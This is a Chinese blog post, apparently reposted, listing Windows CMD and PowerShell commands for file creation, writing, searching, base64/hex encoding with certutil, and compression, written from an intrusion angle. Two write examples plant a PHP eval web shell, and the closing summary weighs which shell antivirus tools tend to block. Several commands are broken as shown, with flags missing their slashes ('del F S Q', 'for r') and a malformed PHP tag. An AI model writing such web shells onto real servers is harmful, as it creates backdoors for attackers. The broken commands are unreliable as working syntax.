这次先浅水一下,干货刚弄完环境和代码,马上就能出炉了,待我整理整理文档…
一、CMD
创建文件
cd . > anioner.txt
type nul > anioner.txt
删除文件
del anioner.txt
del F S Q anioner.txt // 强行删除文件
del F S Q C:/anion*.txt // 强行删除符合 anion*.txt 的文件,也就是所有后缀是 txt 的文件
重命名文件
ren old.txt new.txt
移动文件
move C:/old.txt D:/new.txt // 也可以使用这个命令来重命名文件
写入文件
echo test > anioner.txt // 会多出来一个换行符
echo ^<php eval($_POST['admin']); ?^> > anioner.txt // 用^来转义尖括号
>anioner.txt set p="test"<nul // 此方法不会有多余的换行符
>anioner.txt set p="<php eval($_POST['admin']); ?>"<nul // 不需要转义
追加文件内容
echo Test >> anioner.txt // 会多出来换行符
>>anioner.txt set p="test"<null // 不会有多余的换行符
读取文件
type anioner.txt
搜索文件
for r C:/ %i in (anioner.txt) do @echo %i // 精确查找 C:/ 下面有没有 anioner.txt 文件
for r C:/ %i in (anion*.txt) do @echo %i // 模糊查找 C:/ 下面有没有符合 anion*.txt 的文件
dir s/a-d/b C:\anioner.txt 精确查找 C:/ 下的某个目录有没有 anioner.txt 文件
dir /s/a-d/b C:\anion*.txt // 精确查找 C:/ 下的某个目录有没有匹配 anion*.txt 的文件
搜索文件内容
findstr /s /n "test" C:\* // 精确搜索 C:/ 下有没有文件内容包含了 test 字符串
findstr /s /n /i "te*" C:\* // 模糊搜索 C:/ 下有没有文件内容符合表达式 te* 的文件,/i 表示不区分大小写
Base64
编码
certutil -encode raw.txt base64.txt // 将 raw.txt 里的内容编码存到 base64.txt
certutil -decode base64.txt raw.txt // 将 base64.txt 里的内容解码存到 raw.txt
Hex
编码
certutil -encodehex raw.txt hex.txt // 将 raw.txt 里的内容编码存到 hex.txt
certUtil -decodehex hex.txt raw.txt // 将 hex.txt 里的内容解码存到 raw.txt
二、PowerShell
创建文件
New-Item -Path 'anioner.txt' -ItemType File // 如果文件夹已存在,则不会覆盖或替换此文件夹且报错
New-Item -Force -Path 'anioner.txt' -ItemType File // 若文件存在则会覆盖原文件
删除文件
Remove-Item -Path anioner.txt
重命名文件
Rename-Item -Path old.txt -NewName new.txt // 两个文件必须在同一个路径,不然会报错
移动文件
Move-Item -Path C:/anioner.txt -Destination D:/anioner.txt
写入文件
Set-Content -Path anioner.txt -Encoding UTF8 -Value "test" // 带换行符,用-Encoding参数来指定编码
Set-Content -Path anioner.txt -Encoding UTF8 -NoNewline -Value "test" // 这个不带换行符
追加文件内容
Add-Content -Path anioner.txt -Encoding UTF8 -Value "test" // 追加内容,带换行符
Add-Content -Path anioner.txt -Encoding UTF8 -NoNewline -Value "test" // 追加内容,不带换行符
读取文件
Get-Content -Path anioner.txt -Encodin UTF8 // 可以指定读取的编码,防止乱码
cat anioner.txt // 最简便的读取文件方法,但实际上 cat 命令就是 Get-Content 的别名
搜索文件
Get-ChildItem -File C:/anioner.txt -Recurse | Select-Object FullName // 在 C:/ 目录精确查找文件 anioner.txt
Get-ChildItem -File C:/anion*.txt -Recurse | Select-Object FullName // 在 C:/ 目录模糊查找文件 anion*.txt
Get-ChildItem -Path C:/test -Directory -Recurse $pattern | Select-Object FullName // 在 C:/ 目录精确查找目录 test
Get-ChildItem -Path C:/te* -Directory -Recurse $pattern | Select-Object FullName // 在 C:/ 目录模糊查找目录 te*
搜索文件内容
Get-ChildItem C:/ -File anion*.txt -Recurse | Select-String "test" // 在 C:/ 目录中模糊匹配 anion*.txt 并查找内容包含 test 字符串的文件,此命令会输出相对路径
Get-ChildItem C:/ -File anion*.txt -Recurse | ForEach-Object{ if( $a = Select-String -Patter "test" -Path $_){ $a.ToString() } } // 在 C:/ 目录中模糊匹配 anion*.txt 并查找内容包含 test 字符串的文件,此命令会输出绝对路径
Base64
编码
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("test")) // 用 Unicode 的字符串编码格式 base64 编码,可以将 Unicode.GetBytes 改成 UTF8.GetBytes 来以 UTF-8 格式解码
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("dABlAHMAdAA=")) // base64 解码,字符串编码格式与上同理
Hex
编码
([System.Text.Encoding]::Unicode.GetBytes("test")|ForEach-Object ToString X2) -join '' // Hex编码,字符串编码格式与上同理
[System.Text.Encoding]::Unicode.GetString([byte[]]("7400650073007400" -replace '..', '0x$&' -split '(?<=.)(?=0x)')) // Hex解码,字符串编码格式与上同理
解压缩文件
Compress-Archive C:\test\* -DestinationPath c:\test.zip -CompressionLevel Fastest // 压缩整个 C:\test\ 文件夹
Expand-Archive C:\test.zip -DestinationPath C:\test –Force -Verbose // 将 test.zip 解压到 C:\test 中,如果 C:\test 已存在,则会覆盖
总结
CMD优点:
1、短小精悍
2、基本上在所有
Windows
上都通用3、大部分杀软在检测到用
CMD
写文件时不会拦截缺点:
1、字符编码问题很大,尤其是在使用工具执行命令的时候
2、换行、转义等操作较为麻烦
3、无法一句话进行
base64
、Hex
编码PowerShell优点:
1、功能很强大,基本上满足任何需求
2、能够灵活地切换编码,可以保持统一的
UTF-8
编码3、能够一句话解决换行、转义、编码的操作
缺点:
1、部分杀软会在程序调用
PowerShell
时拦截2、学习成本较高
在实际操作时,一定要记得注意编码格式问题,
Unicode
、GBK
和UTF-8
编码的文本会很影响后续操作。
微信扫一扫下方二维码关注哦!

文章转载自Anion的小黑屋,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




